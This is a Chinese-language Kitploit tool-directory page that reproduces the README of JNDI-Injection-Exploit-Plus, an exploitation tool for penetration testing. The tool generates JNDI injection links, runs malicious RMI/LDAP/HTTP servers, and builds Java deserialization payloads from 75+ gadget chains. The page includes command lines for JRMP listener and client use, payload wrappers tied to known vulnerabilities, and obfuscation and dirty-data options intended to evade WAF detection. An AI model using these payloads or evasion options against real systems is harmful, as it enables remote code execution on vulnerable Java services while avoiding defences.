Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
JNDI-Injection-Exploit-Plus — 生成可用的JNDI注入链接和反序列化payload,包含80多个gadget,支持RMI、LDAP和HTTP服务器,用于自动化漏洞测试。 | Kitploit
工具/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
漏洞利用框架漏洞分析Web应用程序漏洞利用渗透测试Payload 开发
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

生成可用的JNDI注入链接和反序列化payload,包含80多个gadget,支持RMI、LDAP和HTTP服务器,用于自动化漏洞测试。

查看仓库
88011452年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

JNDI-Injection-Exploit-Plus

English README

JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。

详细说明

是一款JNDI注入利用工具,可以生成JNDI链接并启动后端相关服务。

根据JNDI的三种触发点,提供3种JNDI利用方式

  • 远程Reference链 (3种)
  • 本地Reference链 (4种)
  • 反序列化链(75种)

P.S. 具体利用链名称及依赖见 表格

使用方法

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

参数说明

root@kitploit:~
-C - 要执行的命令.

(可选 , 默认命令 "open /Applications/Calculator.app")

-A - 运行此工具的主机IP地址.

(可选 , 默认是第一个网卡的地址)

示例

  • 运行工具
  • root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    1. 触发JNDI注入
    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    是一款反序列化Payload生成工具

    包含50+ Gadgets链,比ysoserial还多出10+,后续会持续补充,欢迎大家一起来提交。

    使用方法

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
    

    参数说明

    root@kitploit:~
    -C - 要执行的命令.
    
    (可选 , 默认命令 "open /Applications/Calculator.app")
    
    -D - 要生成的反序列化链名字,见Github列表.
    
    -O - (可选) 输出格式,base64或16进制, 默认是16进制
    

    示例

    1. 普通
    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
    

    1. JRMP
    • JRMPListener
    root@kitploit:~
    java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
    
    • JRMPClient
    root@kitploit:~
    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
    

    提供反序列化包装器

    包装器示例漏洞
    XstreamCVE-2021-39149
    ApereoApereo 4.1 反序列化漏洞
    JbossRemotingJboss Remoting 服务反序列化
    Gzip用友组件的一些接口使用Gzip
    Dirty插入大量脏数据来绕过WAF检测
    • 示例
    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
    

    混淆

    混淆class名字来绕过WAF

    • Example
    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
    

    参考链接:https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

    可以返回反序列化数据的web服务

    root@kitploit:~
    java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
    
    root@kitploit:~
    POST /deserial/{Gadget}
    
    cmd={command}&wrapper={wrapper}output={base64/hex}
    

    P.S. 参数 wrapper & output 是可选的

    总结

    JNDI-Injection-Exploit-Plus 主要有JNDI注入和生成反序列化链 2个用途,其中包含的利用链更多。详情请移步项目地址:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

    喜欢的同学别忘了点个star。 ^_^

    参考链接

    • https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
    • https://github.com/welk1n/JNDI-Injection-Exploit
    • https://github.com/frohoff/ysoserial
    下载工具